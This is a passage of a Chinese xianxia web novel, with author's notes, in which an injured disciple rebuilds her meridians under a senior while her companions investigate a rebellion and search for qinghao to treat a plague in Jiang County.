陆识微点点头:“他说江县的茶叶太苦了,还说日后要让他大哥同江县做些粮食茶叶的生意。” 谭一筠险些把刚喝进嘴里的茶喷了,艰难维持住体面后悄悄向楚悯问道:“闻兄家中……如此阔绰吗?” 楚悯借着茶盏遮掩低声道:“谭兄没听尊师说起过吗?” 谭一筠神色恍惚:“只知道章先生家境殷实,没想到闻兄竟也不遑多让。” 叶泯听得直想笑,为免自己笑得太猖狂,只能把嘴埋进茶水里。 三个仙门子弟压低声音说话,陆识微十分给面子地没去打搅,等三人说完后才接着对他们说道:“章先生布设幻境之前同柳大人与我说起过,幻境中的‘陆识微’屡次提起‘柳大人’,柳大人却未曾出现,这是个足以勘破幻境的疑点。”她自己喝了口更苦的茶,“‘陆识微’的形象前后并不一致,自然也是一处疑点。” 章存舒方才说江县局势不太平,但看陆识微这侃侃而谈的样子,想必也是舒心的不太平,亟待解决的问题一定都已经处理妥当了。 ——看来不太平的另有其人。 陆识微自然不知道谭一筠在想些什么,继续说道:“不过我听柳相说,真正让你们识破幻境的并非是这些疑点,而是一句话?” 楚悯放下茶盏:“那句话是点拨,章先生与两位大人商议的‘疑点’自然才是关键。” 陆识微被她逗笑了:“不用这么严谨。”她思索着问道,“幻境中是不是总有种力量,让你们下意识不往‘此地是幻境’这一念头上想?不然我看以你们的聪明才智,应当不至于到了幻境中的第二日才识破?” 叶泯被夸得直心虚:“纵然确有种力量隐隐左右着我们的思绪,但幻境中疑点颇多,下次还需更早些勘破才行。” 看上去在专心与柳卿知谈话的章存舒此时忽然转过脸来:“看来诸位对下次的幻境考察胸有成竹?” 三人齐齐打了个哆嗦,迭声道:“不不不……” 柳卿知也被逗笑,只是忽然想起些什么,那笑意又淡了下去:“云铮此次受伤,可会影响日后修炼?” 章存舒又给自己倒了一盏茶,脸上神情看不出多少情绪:“要看她这几日的恢复了。” **** 被念叨的受伤之人刚自虐似的洗漱完,拿起仍在碎碎念的摇羽出门,与正要上前开门送饭的连映撞了个正着。 连映一手端着个木盘,上面放着几碟小菜、一碗汤和一碗米饭,一手正要推门,关云铮这么忽然地一拉门,吓了她一跳,左手的木制盘子眼见要翻。 关云铮伸手在盘子底下托了一把:“师姐。” 连映被她吓得脸色发白:“你怎么起来了?你伤势还重不该起来的!” 她收拾齐整,哪里有半点受了重伤的样子,看她这架势,要是没人拦着,都快去练武场练剑了! 关云铮顺从地一低头,干脆把木盘接到自己手里,走到门外桌边坐下:“再这么躺下去,四肢就得躺萎缩了。反正全身经脉都被接起来了,也没说不能活动,我还是下榻稍微走走吧。” 她在连映眼皮子底下,就着碗里的汤把丹药咽了:“日后调息重塑经脉总不能也在我房中,迟早要下榻的。” 连映脸色还是不大好看,却也无从反驳她的话——毕竟修道之人是不可能因为一次受伤,就再也不修炼的,重拾此事确实只是早晚问题。 关云铮自觉已是二十多岁的成年人,不能再像小时候一样,痛了就要哭要闹。但在连映眼中她尚且只有十五岁,纵使在修仙界,人们大多早熟早慧,她也是门中老幺,合该被大家照顾。 她也清楚连映在想些什么,一边一口接一口地吃饭,一边在咀嚼的间隙里说道:“师姐,你是希望我就此一蹶不振,下一次幻境考察时仍未养好身体表现不佳,还是更希望我此次壮士断腕般重生,日后的修炼过程中便可少吃些苦呢?” 要是这一次这样的痛苦她都能忍受,想必未来也没有什么艰难的事,是不可跨越的吧。 连映自然明白她所想,但面对此事的讨论,师门众人都下意识地将理智放在感情之后,第一时间想的大多不是“熬过此次劫难云崽会变得多强”,而是“熬过这次劫难云崽要吃多少苦,会有多痛”。 往日可口的饭菜稍微有些难以下咽,不知道是不是丹药太苦,苦得她喉口紧缩的缘故。关云铮端起汤碗来又喝了一口汤顺了顺才说:“师姐,吃一次苦和次次吃苦总要选一样,你说对吧?” “不对。”突然插话的江却不知何时来的,从游廊上走下来说道,“师父若是在门中,定然会反驳你的话。” 关云铮一愣:“师父?” 江却在桌边站定,几息后像是觉得自己站着威慑力太强,容易引得人不自在,又默默坐下了:“师父心软,见不得人吃苦,遑论我们几个弟子。若是听见你方才那话,又要伤心了。” 一瞬间,关云铮心里章存舒的形象从“口无遮拦的谜语人”变成了“脆弱敏感的大好人”,顿时整个人都错乱了:“是我失言……” 江却并没有生气,意识到自己可能语气有些严肃,缓和了一会儿才继续说道:“师父曾说,希望他能一直是我们行事的底气,让我们不必惧怕南墙,也不必吃苦,无灾无难地在归墟成长,无需有多高的建树,无需在仙门有多响亮的名声。” 惟愿吾儿愚且鲁【注】吗…… 关云铮停住了手里的动作,骤然听素日寡言的江却说了这么些体己话,有些不知道如何回应,好半晌才说道:“我知道了,我会记住的。” **** “你们在幻境中分析,此处有三方势力角力,一方是县令背后的贪赃势力,一方是道观中私藏罪魁背后的造反势力,一方是我?”柳卿知寒暄完毕,没多废话,直截了当地向三人问道。 三人不约而同地点了点头。 “幻境要比现实晚上几日,若是你们在其中稍微待久一些,大概也能得知这另外两方势力背后究竟为谁,既然此刻你们已出得幻境,便由我来告知吧。”柳卿知又道,旋即想起什么,无端笑了声,“不过章先生应当不愿让你们真的涉险,兴许多待几日也不会得知这些。” 章存舒不置可否地挑挑眉,没说话。 “此地县令背后有一条层级分明的链条,若是循着蛛丝马迹向上追溯,可追溯至如今的恭亲王——也即先帝亲弟,当今皇帝的三皇叔。” 柳卿知面色平淡地说道。 楚悯第一反应是看向章存舒:“先生,阻绝声音的屏障可设下了吗?” 这种话公然坐在路边一处宅子里探讨,是否太过胆大妄为了——虽然“胆大妄为”已经成为外界对柳相行事作风的一致评价了。 章存舒被她逗笑:“无需担忧,如今江县中已无县令势力,此处宅邸也早已设下屏障。” 柳卿知颔首:“不过消息还在封锁之中,当下知道县令下落的只我一人。” “那另一方势力呢?”谭一筠问道。 陆识微接过话茬:“另一方势力便是如今江县局势紧张的关键。”她喝了口苦得人舌根发麻的茶,“恭亲王是当今皇帝的三皇叔,造反之人,则是当今皇帝的三皇兄。” 怎么皇家行三这位置是有什么诅咒吗?还是那姓苍的女帝陛下今年流年不利,犯的是与三有关的太岁? 叶泯不无腹诽地想。 “三皇子对皇位继承一事始终怨愤难平,这些年一直在私下囤兵,但鲜有摆在明面上的动作,故而陛下一直对此睁一只眼闭一只眼。”柳卿知像是皇室官方发言人,对里头的恩怨纠葛了如指掌,“如今江县以及周边几处郡县受灾严重,民怨一起便易生动乱,他想借此时机发动暴乱,而后由南方一路北上,攻入朝安。” 这计划听着十分令人热血沸腾,要是换个语气不像柳大人这么平淡的人来说起这宏图霸业,怕是真能把人说得动心不已,当下便能为了三皇子抛头颅洒热血。 但也只是听着而已。 造反一事,自古而来常年有之,但事成者毕竟寥寥。究其原因,实在是造反要成功,民意与君意缺一不可。 君一定得是个荒淫无道,重徭役,重赋税的暴君;民一定得是群被多年欺压,生活艰难,只有造反一条生路的民。 三皇子这反造得……似乎两点都并不符合。 苍韫桢即位不久,虽说当下新政尚在实施之中,建树并不卓著,但少有错漏;民众这几年虽然仍有灾荒,但灾荒之外的日子并不难过,没有道理为这一时,推翻这一任的统治。 为官者在任几年,便筹谋盘算着贪赃几年,大多短视又妄为;过惯了苦日子的民众一旦过上好日子,便总想着维||稳,轻易不会把盖在头顶的天掀翻。 自然,官有好官,民有歹民,此话不能视作真理,将各处情况一概而论,柳卿知身处江县,目光自然受限,大概也不能统筹全局。 谭一筠正这样想着,便听柳卿知忽然向着章存舒说道:“有时候我在想,洞玄用得多了,兴许是一种懒政,本质上依旧是不作为。” 谭一筠手中的茶盏“咣当”一声翻了。 “洞玄?是我知道的那个……法器洞玄吗?”他恍惚着问道。 柳卿知在与章存舒谈话的间隙里抽出空,十分平易近人地朝他点了点头,活像是这通晓万事万物的法器在她手中,只是个寻常的小摆件,不值得人大呼小叫地惊叹。 谭一筠惊呆了,还没等他压低声音同另一“通晓万事万物”的同门楚悯将此事谈论一番,便听章存舒说道:“洞玄择主,你们二人从心,并不对其全听全信,仍有自我主张,何须担忧。”—— 作者有话说:【注】惟愿吾儿愚且鲁,无灾无难到公卿。——苏轼《洗儿诗》 自6.25至7.7,新增营养液126评论33雷1,还有上次加更忘记计入的雷1,所以加更字数是5170 你看这个菇如此勤快,怎么能忍心不多发几条评论呢[可怜] 下一更开始,遵循上次说的隔两日更新哈,隔两日更新的字数一般都是6k+,其实跟之前隔日更四千,每日平均下来字数是差不多的,只不过作者这边写长收益会好看一点,感谢大家理解[红心] 为免有读者朋友困惑更新方式改动所以说明一下(点头) 第113章 关云铮原本以为应该是江却或者几位任教先生中的某一位, 负责指导她此次受伤后如何调养生息,如何修复重塑过后还有些滞涩的经脉。 ——结果傍晚时分任嵩华来了。 虽说她受伤以来,任师姐还不曾来过, 她此番到访也有可能纯粹是为了探望……好吧编不下去了, 如果是探望任师姐应当是不会一个人来的。 果不其然,任嵩华一见她便说道:“已经能下榻了?” 连映和摇羽在一旁很给面子地没出声。 关云铮却无端心虚, 打着哈哈道:“勉强, 勉强……” 任嵩华没多问,像是觉得受此重伤没过几日便下榻是什么再寻常不过的事,自顾自说道:“章先生动身去江县前嘱咐我领你调息重塑经脉,你是想自今日学起,还是明日?” “今日吧。”关云铮仿佛没注意到身边直系师姐的温柔眼神刀,对任嵩华说道。 既然承受痛苦是难免的, 伸头是一刀,缩头也是一刀, 那她还是当个伸头的乌龟吧,好歹知道自己是怎么死的。 连映劝不动, 叹了口气, 收起餐碟碗盘起身,揉了揉关云铮的脑袋:“别逞强。” 关云铮忙不迭点头,乖乖目送连映走远了。 连映一走, 本该一起离开的江却仍坐在桌边, 关云铮不由困惑道:“师兄?” 虽然不明白江却仍坐在这是因为什么,但是难得看到江却和任嵩华同框,她埋藏心底的某个心愿再度蠢蠢欲动起来。 “既然二位都正好有空,不急着修炼,不如……”她观察了一番二人的脸色, 试探着说道,“满足师妹我的一个小小心愿?” 任嵩华没料到她这番话,不甚明显地疑惑了一瞬,随即应道:“什么心愿?” 江却也看向她:“尽我所能。” 关云铮摆摆手:“不难办不难办,我就是想……看任师姐和大师兄比试一番,素来听闻你们的比试是高手过招,实在好奇非常。” 这话说完,她自己都在心里唾弃了一番:噫,算盘珠子响成什么样了。 任嵩华反应寡淡,无可无不可地对着江却一点头,下一瞬裁冰已经“噌”地出鞘了。 关云铮人菜瘾大,提出想看打架的是她,看到任嵩华真拔剑了被吓一跳的也是她,要不是这具身体还没恢复行动不便,简直要被这一声吓得弹射起飞。可她到底是受了这幅身躯的限制,纵然心里七上八下,看上去依旧八风不动地在石桌边继续安坐着。 江却本意大概是不想打这一架的,但师妹说想看,任师姐也已经拔剑——于是又听得“噌”一声,破钧也出鞘了。 石桌边的关云铮默默给自己倒了一盏茶,紧张地观察起来。 任嵩华率先发起攻势,身未动而剑尖一挑,凌冽的剑风直奔破钧剑身而来,江却抬手格挡,腰部发力,身体的力量借由手腕传至剑身,碰撞之中将裁冰弹了回去! 任嵩华短促地一点头:“你变强了。” 江却没说话,眉眼下压,陡然发力,维持这一出剑姿势,只是动作由格挡改为横扫,一剑将任嵩华逼得后退一步! 短短两个来回,院子里这点地方已经不够两人打的了,闪转腾挪之间,任嵩华率先驱动轻功跃上墙上离开院子,江却一跃跟上,关云铮坐在原地仰头,只看到两人飘飞的衣袂,很快便彻底丢了视野。 一只手忽然从侧方伸出,将一面水似的镜子放在了她面前:“看这吧。” 关云铮收回视线,发现步雁山不知何时来了,正坐在她身侧,抬手给自己倒了一盏茶:“自己不老实在榻上待着,下来乱走动也就罢了,还撺掇你两位师兄师姐打架。云崽,你可真有本事啊。” 步雁山笑眯眯的,语气很真诚,完全不阴阳,是以关云铮听了丝毫没往心里去,也笑嘻嘻地回敬道:“哪里哪里,掌门明知我师父在幻境考察前会赶回来,也知道幻境的布设主要是他的手笔,却把此事遮掩得如此严实,一点口风也没漏,这样看来还是掌门厉害。” 虽然步雁山没有阴阳她,但她得承认自己这话确有阴阳怪气的成分在,真是惭愧——才怪。 步雁山自然不会同她计较这点口舌官司,失笑道:“看来是在恢复中了,还有精力同我说笑。”他喝了口茶,“你这身体,下次幻境考察前怕是无法彻底恢复,不如下次你就不进去了?” “要不是心魔引已经灰飞烟灭了,掌门这话还真像是那东西会说的。”关云铮波澜不惊地说道,“下次幻境考察期间,我定然不会再突破境界了,自然也不会在幻境崩塌时受此损伤,掌门放心。” 毕竟下次考核距今不过一月时间,还能继续突破的话,她就是三个月直升金丹期了,这攀升之路听着也太让人胆战心惊了,不是她这种小角色该有的命数。 步雁山自知说不过她,绕过这个话题说道:“想不想知道下次的考题?” 关云铮原本正专心看水镜里打得叮铃哐啷的两人,闻言眼神也没错开一分,嘴上诧异道:“掌门今日这是怎么了?” 步雁山笑着叹了口气:“你就当我是后怕了吧。” 关云铮闻言,收回停留在水镜上的视线,万分真挚道:“小师叔,此次行事我过于莽撞,我向你保证,不会有下次了。” 步雁山一愣,有些不自在地说道:“怎么忽然叫我小师叔?” 这样近的距离,他脸上的错愕虽快得一闪而过,但还是被“心怀不轨”的关云铮捕捉到了,她似乎是发现了什么有趣的事,挑起眉说道:“若按辈分来算,你难道不是我们的小师叔?” 步雁山面露难色似的:“这倒也没错……” 关云铮耍无赖般一摊手:“那不就得了,小师叔难道不比掌门这称呼,听着更亲近一些?” 有了新称呼的步雁山总感觉今日的关云铮有哪里不同,好像变得颇为难缠,但细想之下又觉得似乎只是自己的错觉:“确实亲近一些,不过……” 水镜中两剑相抵,执剑者隔着锋芒对视,无论是否拼尽全力,总之暂时决不出高下。 关云铮把水镜交还给步雁山:“至于小师叔方才说的,下次的考题……” 步雁山接过水镜,下意识往镜面上看了一眼,发现在他思考关云铮身上究竟有何变化的时候,任嵩华和江却已经暂时打成了平手,被这一结果分走了些许心神,他有些心不在焉地接话道:“对,下次的考题。” 关云铮像是没听出方才步雁山话里“泄题”的潜台词似的,棒槌般反问道:“下次的考题,应当是专为小悯设下的,对吧?” **** 对下场考核中自身命运尚不明晰的楚悯……正因柳卿知所说的话而感到思绪万千。 过度依赖洞玄所示是一种“懒政”的话,那她过度依赖卜算,岂非也是一种“懒思”? 卜算只需给出一个模糊不清的问题,无需进行细致的思考,便能从卦阵中求得答案,境界越高深,卦阵给出的答案便越细致,越能一劳永逸地揭露所谓的“天机”。 天问虽都是些短命鬼,但能在此事上给予她启发的前辈绝不是没有,她此刻回忆起门中那些长老平日的做派,惊觉除了修炼之中不得不起一卦的大事,其他时候几乎没见过这些前辈像她一样,频繁地启用卦阵。 凡尘中人劝诫聪明人时,总爱说“难得糊涂”,她自觉天问与凡尘相去甚远,回首看来竟发觉天问中的前辈早就在她“锱铢必较”的时候,学会了“难得糊涂”这一套处世真理。 楚悯不止第一次地扪心自问:她是不是太依赖卜算了? 依赖洞玄的可怕程度与依赖卜算相比,实在很难分出个伯仲,柳卿知忧虑之事,实则也是她该忧虑的问题。 只听一旁的柳卿知说着说着想起什么似的,忽然说道:“对了,前日去道观,那观主说,今日观中由他讲经布道,你们若是对其感兴趣,不妨去看一看。” 楚悯回过神来:“哪位是观主?” 陆识微思索着说道:“就是你们幻境中见到的那位布道的道士。” 此言一出,三人不约而同地皱起眉:“怎么是他?” 柳卿知看过他们在幻境之中的经历,自然明白三人皱眉的缘由:“觉得他做善事流于表面,其实是个伪君子?” 谭一筠下意识打圆场:“想来幻境受我们的心智影响而变换,兴许那道长实际并非如此,只是……” 章存舒颇觉好笑地抬手打断了他的话,带着些许诧异问道:“你师父并不是这样说话懂得圆融的性子,翠屏山也没要求弟子学会这些弯弯绕绕,前一年的教习究竟是怎样水深火热,你怎么长成这副样子了?比我说话都老成。” 谭一筠险些被他这几句话说得沤血,好半晌才艰难道:“先生,看破不说破……” 缺德鬼章存舒哈哈大笑起来,很快又正色道:“与是否在幻境无关,此人行事作风确如幻境中一般。” 三人默认了章存舒此言的根据来自柳卿知与他互通的情报信息,一时没往深处想。 柳卿知告知完那伪善观主将要讲经布道的消息之后,看向三位少年说道:“上次你们连师姐来时带来了不少的草药,有专治热症的,还有些治疗咳疾的,只是都不能全然对症,灾民之中的瘟疫虽然得到遏制,但并未见好转。我见你们在幻境之中曾寻过一种叫……青蒿的草药,不知江县可有此物?” 章存舒闻言,事先说明状况:“江县确有青蒿,因为那不是云崽的意念产物。” 陆识微登时眼前一亮:“真的?” 柳卿知松了口气:“既如此,就劳烦三位前去找寻一番,那草药在你们眼中兴许特征十分明显,但对幻境之外的我们来说总是看过便忘,始终只有个朦胧的印象,故而看过之后这两日内,我都没能在江县寻得它的踪迹。” 幻境毕竟是虚幻的产物,对曾经身处其中的人来说或许还能刻骨铭心,对旁观者来说自然如同镜花水月,记不清楚特征也实属正常。 对青蒿最为了解的关云铮不在,寻找青蒿这一差事便自然而然地落在了四人中最为了解草药的叶泯头上,几人商议一番后,决定由叶泯带领,在江县各处寻找草药,顺路……去听一听那老道究竟要讲个什么劳什子经。 **** 从幻境与现实江县的相似之处来看,一手布设了幻境的章存舒一定在初次抵达江县的那段时间里,对此地进行了细致入微的调查——曾经传达过关键信息的粮店、餐馆,不肯收他们钱的云吞摊,坐落于偏远郊外的道观,全都与现实中分毫不差。 也正因此,三位少年来到现实江县后熟门熟路,离开小巷中的院子之后,便直奔河岸而去。 叶泯走出一段距离后才觉出不对,后知后觉道:“章先生对道观的位置和布设都了如指掌,想来那道士究竟是个什么样的人,也早就清楚了吧?” 楚悯点点头:“嗯,应当是早就知道了的。” 叶泯又问道:“那章先生难道不知道,道观中窝藏了纵火之人?章先生不知情也就罢了,柳大人手里还有那个什么,洞玄,那法器我听我哥说过,不是个通晓万事万物的法器吗,柳大人难道也对此事毫不知情?” “柳大人方才不还说,不想过多依赖洞玄?兴许这便是缘由?”谭一筠接话道。 叶泯叹了口气,如实说出了自己的想法:“我总觉得柳大人、章先生和掌门,他们都对我们的水平心知肚明,这次幻境宽松了不止一星半点,我们脱困得十分容易,在幻境中所为看似也对现实大有助益。” 而实际上……道观中早就窝藏罪犯,柳大人和章先生当真对此事一无所知吗? 谭一筠也跟着叹了口气,再度说出先前在院中时说过的话:“看破不说破。” 凭着幻境中的经历,三人边说边走,很快到了极有可能生长了青蒿的河岸边,叶泯顺手把灵犀从灵笼里放出来,由着它在河边的草丛里游来游去地寻找目标。 “虽然章先生说了青蒿并非意念产物,但生长之处应当与幻境之中有所区别才对,毕竟彼时我们寻到它的意愿强烈,兴许也对幻境产生了影响。”谭一筠弯着腰找了一会儿,没能找到印象中的那种草药,直起腰来说道。 楚悯抬手按了按自己僵硬的脖子:“此事云崽倒是同我说起过,她说青蒿生长在向阳处,耐旱,忌积水。”[注] 叶泯也直起腰,把同样一无所获游回来的灵犀顺手盘在手腕上:“那河岸岂不是最不适宜它生长的地方?这样看来,能在幻境中寻到青蒿,真的是因为我们的意愿太过强烈,影响了幻境?” 也可能是章先生放的水多得要漫出来了吧。 楚悯叹了口气,还没叹完忽然又想到什么,几乎是有些欢欣雀跃地说道:“道观周围不就符合青蒿的生长要求吗?” 对啊,向阳而生,耐旱,忌积水——那个处在荒郊野外但日照充足的道观,几乎就是个上好的生长之地啊。 楚悯一句话点醒了另外两人,原本险些被浇灭的斗志再度燃烧起来,三人从河岸边的草丛里窜出,直奔着郊外的道观去了。 **** 为同伴们提供了宝贵信息的关云铮,正在跟随着任嵩华的指令调息。 江却与任嵩华虽没打出胜负,但不可不谓之精彩,她看得心满意足,了却她这个“小小心愿”的江却也终于放心下来,落回关云铮院中,同她简短说了几句,便回到自己的院子去进行每日的打坐调息了。 任嵩华没了对手,很快也落在院中,准备履行章先生对她留下的嘱托,指导关云铮进行调息。 至于被关云铮没大没小地用新称呼“调侃”了一番的步雁山,他自然还没走,只是在关云铮问出那话之后,也自觉她今日确实很不好“对付”,又是好一番心绪浮动,一会儿觉得“云崽真是成长了”,一会儿觉得“这话真是颇为棒槌”,总之到头来他没承认也没否认,趁着任嵩华落回院中的工夫,率先结束了这个话题:“先让嵩华领着你调息,此事日后再说。” 他就这么囫囵地对着两个弟子点了点头,从游廊离开了苍生道的院子。 任嵩华不知道她同江却比试期间,关云铮与步雁山说了些什么,见此情景,脸上疑惑的神情一闪而过。但她也没有追问他人的习惯,是以那点疑惑就像日出前后山山谷里的云雾一般,很快就消散了,她看向桌边的关云铮:“现在能开始了?” 关云铮连忙点了点头,乖乖站起身表达自己“听凭师姐吩咐”的态度。 她对江县此刻正在发生的事一无所知,只知道自己看过了江却同任嵩华过招,没大没小地拿新称呼和一句反问岔开了步雁山的话题,终于到了面对残酷现实的时候——她得兑现诺言,跟着任嵩华学习如何重塑经脉了。 以通俗的语言来说,她周身经脉当下的状态是“藕断丝连”,接是接上了,但若是置之不理,如往常一般使用灵气,滞涩的灵脉便会在新入体灵气的冲撞下再度断开,二次断裂会带来更为严重的后果,若是处理不当,可能就此没有修炼的可能。 任嵩华此人,兴许是修无情一道修得太久,也不太懂什么叫做“委婉”,在带领关云铮修炼之前先说了这么一通不知是告知后果还是威胁恐吓的话,把本就心惊胆战的关云铮吓得不轻,盘腿坐好时搭在双膝的两手仍在不时地哆嗦着。 任嵩华看了她一眼,福至心灵地明白了此刻的关师妹兴许最需要的是她的安抚,于是说道:“调养时进入体内的灵气是不会冲撞灵脉的,只有当你想驱使灵气化为外用时,才会损伤灵脉。” 这番话的效果显然不如先前那些话,但关云铮诡异地不再抖了,接话道:“好,多谢任师姐。” 任嵩华看她当真手不抖了气不喘了,没再多说,干脆利落地在她身侧的蒲团上坐了下来,一边将两手搭在两侧膝头,一边说道:“将灵气倾注于指尖。” 这是个很干瘪的指令,但关云铮在修习符咒时没少这样干,故而还算操作得当,不久后便感受到了两手指尖各自凝聚的一团灵气。 “想象你操纵这团灵气,令其流过你的指尖,流向掌心,再由掌心流向手臂……” 任嵩华很少这样低低地说话,语气听起来几乎有些温柔。 若是在往常,关云铮指定要在这样的絮絮低语中昏昏欲睡,但身体若有若无的痛仍在折磨,她总在精神恍惚时被某一处的抽痛扎上那么几下,不由得疑心凌风起给的丹药是否就如同布洛芬一般,发挥药效之前得在她的身体里挨家挨户地敲门。 这么长时间,总该敲开门了吧?不过她全身灵脉都断了一遭,想必丹药在体内也是左支右绌,应对得焦头烂额吧,关云铮绝望地想。 不过她也只是想想,并不打算将疼痛作为自己懈怠的理由,手上的动作依旧很听任嵩华的指挥,很快就感受到了一股温度不甚明显的暖流自指尖而起,流经掌心,飞快地奔着手臂而去。 然而这动作到底还是没能一路顺畅地进行下去,手臂滞涩的灵脉很快挡住了那一小撮灵气的去路,堵得她皱起眉来。 任嵩华同她一样仍旧闭着眼,却仿佛长了天眼似的,知道她现下是何种情状,不疾不徐地接着说道:“灵脉生长在你自己的身体里,不会因为你在修道一路上越走越远便背叛你,无需因为一时的阻塞而心急。”她教导起重塑灵脉时温柔得几乎不像是“任嵩华”,更像是别的什么人,关云铮松了一口气,谨慎地让灵气停在原地不动,无声地做了个深呼吸,让自己不要太过迫切。 只听任嵩华继续说道:“奔涌的流水遇到挡路的石头,最先来到障碍前的流水会停住脚步,但接下来会有源源不断的水流来到此处,终有一天会冲开阻碍,河道也将不再阻塞。” 任嵩华给她的印象总是寡言沉默的,哪怕开口,说的话也始终平铺直叙,关云铮还是第一次从她口中听到这么贴切的比喻。一时之间,对言语的惊讶盖过了对灵脉滞涩的懊恼,她试着按照任嵩华所说,调动了新的灵气,感受着两股灵气一同在滞涩处打转,耐心地等待了一会儿,竟然隐隐感觉到松动了! “有效果了?”任嵩华又恢复了往日里平淡的声音。 关云铮睁开眼,发现身侧的人也已经睁开了眼睛,于是胆大包天地问道:“师父为何让任师姐来指导我重塑灵脉?” 任嵩华的双手依旧搭在两膝之上,只是目光却好像已经飘去了很远的地方,眼神中竟不甚明显地流露出了一点……怀念的味道。 关云铮还以为自己看错了,正要仔细偷看一番,却见任嵩华收回了视线,对她说道:“因为我曾经也断过一次灵脉。” “唔,”关云铮倒并没觉得自己失言,试探着又问道,“是在境界突破时断的?” 任嵩华点了点头:“那时年纪尚小,是师父带着我重塑灵脉的。” 师父? 关云铮心里一直有个“任嵩华的师父有可能是戚寻月”的猜测,上次任师姐惊天一剑劈开了试心玉时,又被步雁山侧面肯定过这一猜想,此刻她听了这话,顿时明白过来方才任师姐温柔得不像她本人的语气是像谁了! 不正符合了她自霰照记忆中所见,对戚寻月的所有印象吗? 像是为了再度映证她的猜想一般,任嵩华继续说道:“若是她不曾以神魂入不熄鼎,如今就该是她来引着你重塑灵脉了,轮不到我这样生硬照搬她曾说过的话。” 悼念亡师本应是个悲伤的话题,只是还没等关云铮继续就这个话题说点什么,任嵩华便率先调转话题说道:“闲话少叙,继续吧。” **** 关云铮这边享受着任嵩华难得的温声细语,楚悯这边,三人的耳朵却在承受着酷刑。 他们到了郊外,本想先在道观周围寻找一番青蒿,再进去听那老道士讲经布道。 谁知等他们抵达,那道士已开始了他滔滔不绝的演说,道观门口的道童远远望见他们三人,更是如同见了家人般扑了上来,天花乱坠地吹嘘了一番观主的演说如何如何精妙绝伦后,从怀里摸出个布袋子,用一双殷切的眼睛看着三人。 叶泯感到自己额角的青筋抽了抽,再迟钝的人此时也该明白这道童的弦外之音了,他认命地摸出一小块碎银,放入那布袋之中。 道童欢天喜地地谢过恩情,丝毫不觉自己强买强卖有何不妥,领着三人进门了。 那老道与幻境中果然没什么不同,讲起灾民疾苦总是满面红光,讲起歹人作恶也看不出有多厌恶,灵活的道德标准就像他那两撇在风中飘摇的胡子,风往哪吹他往哪飘。 此人所言虽然谈不上正确与否,却极具煽动性。观中这些听众香客兴许都与他们一样,是花了钱才有了入观听讲的资格,一眼望去,脸上全是一水决意不让花出去的钱白瞎似的专心致志。 甚至还有几人一面听,一面不住点头,要不是场景不合适,看他样子几乎要抚掌喝彩了! 谭一筠简直叹为观止,正要与楚悯和叶泯说几句悄悄话,只听那老道突兀地将话音一停,竟然就这么没着没落地讲完了。 他登时茫然又震惊地看了那老道一眼,福至心灵地想道:他不会是想以这样的方式吊着这些听众,以免往后讲经无人来听,捞不到更多的钱吧? 这老道看着好歹也沾几分仙风道骨,怎么是个黑心的! 一旁的叶泯想必也和谭一筠想到一块儿去了,脸上的表情比谭一筠的还要震惊。 只是还没等三人就这缺德老道发表些自己的看法,方才那负责收钱的道童便拨开人群朝他们走来,竟作了个不能更规矩的揖:“观主请诸位道友于后院一叙。” 始终没出声的楚悯皱了皱眉,正要接话,那道童又说道:“观主还说,劳几位叙完话后,将本观留有的一些草药给陆大人带去,也算是他的一番心意。” 拒绝的话就这么被咽回了肚子里。 纵然他们不大愿意与那老道交涉,但草药一事对于江县民众来说举足轻重,心里的那点不情愿,在这样的大事面前算不得什么。 江县是个地图上都查无此人的小地方,从县城的东北走到西南,拢共也花不了多少时间,但凡来几个衣着特色鲜明的人,怕是都能举县轰动,故而楚悯并不觉得观主注意到了他们三人这事有什么特别。 毕竟寻常百姓在寻常日子里,是不会穿得像仙门子弟一样披麻戴孝的。 三人跟随道童来到了后院,等了约莫半炷香的时间,那老道终于拖拖拉拉地露了面,一与三人对上视线便问道:“敢问三位道友,我们可是在哪见过?” 如果关云铮在的话,多半会哼笑一声,嘲讽一句这是什么拙劣的搭讪语句。 可关云铮不在。楚悯自然也觉得此言十分突兀,对着老道那老树皮似的脸,也实在说不出什么似曾相识的话,但还是硬着头皮接话道:“观主说笑,晚辈初来此地,不曾见过观主。” 幻境中的江县与现实江县看起来一般无二已是章存舒的本事,万没有现实中人也有幻境中记忆这回事。 谁料那老道笑眯眯地说道:“既如此,为何三位小友看向老朽的眼神,似是故人重逢?” 叶泯愣是被他这古怪的语气恶心出了一胳膊的鸡皮疙瘩,登时哆嗦了一下,截过话茬:“敢问观主如何称呼?” 那小胡子老道看了他一眼:“老朽法号同灯。” 三人忙不迭给他作了个揖:“同灯道长。”别再用那怪腔调寒暄了,快些进入正题吧。 同灯顶着个日月光辉都愿与他人共享的名字,实际也是个颇有几分慷慨的性子,说要献出观中的草药,就当真不含糊,自己去房中将那些草药取了出来,分门别类地收进了一个分量不小的包袱中,又在三人面前解释清楚每一样草药的功用和使用手法。 说完这一长串话后,他又说道:“五日后老朽将在此继续讲经,到时诸位小友可一定要来听啊。”—— 作者有话说:【注】青蒿相关来自网络搜索 下章切卷,这章就多放了点,下章可能会少写点 第114章 “凝神。” 任嵩华的声音像是从遥远的地方传来, 本已因为打坐太久而有些走神的关云铮打了个激灵,回过神来,感觉到自己调动的灵气正在全身灵脉最后几处滞涩打转。 距离她初次学习如何重塑灵脉, 已过了快二十天。 师父与同伴们仍未从江县返回, 想必江县局势虽有缓和,但仍不乐观, 至于险些死了一回的她本人——除了每日傍晚跟随任嵩华重塑灵脉之外, 褚鹤贤蒲飞鸢等人也没放过她,照样抓着她练剑练符咒,只是强度轻得多,不大让她过多调用灵气。 关云铮原本的身体长了一张无比普通的脸,此刻占着的关云筝的身躯也不是什么闭月羞花的美人胚子,还从没想过自己有被当成“花瓶”对待的一天, 哦不,是二十来天。 楚悯三人不在归墟, 按说她这几日每堂课都是孤身前往,少不得被那欠打哥挑衅生事, 可这段时间下来居然没有一个人跑来她面前现眼, 除了安生上课就是安生修炼,竟然过得顺心极了。 留在苍生道的人骤然少了一半,几日前李演扬言要是就这几个人他就不做饭了, 为免留守的几位弟子被李演饿死, 最近几日两位先生并一位掌门,都是在苍生道用的饭。 哦,还有苏逢雨,她似乎又愿意同蒲飞鸢说话了,两人这几日总是形影不离的, 连带着苏逢雨这位早就辟谷的也在苍生道吃了几顿。 关云铮在饭桌上提起赵乾达一事时各位大人都在,听了这话,蒲飞鸢率先笑道:“你出得幻境便升了境界,吓也被你吓死了,谁还敢到你眼前挑衅。” 能把别人吓死的人温顺地吃了一口茄子:“小悯不还一直比那厮境界高些,也没见他收敛,还不是因为小悯性子随和,觉得她好欺负。” 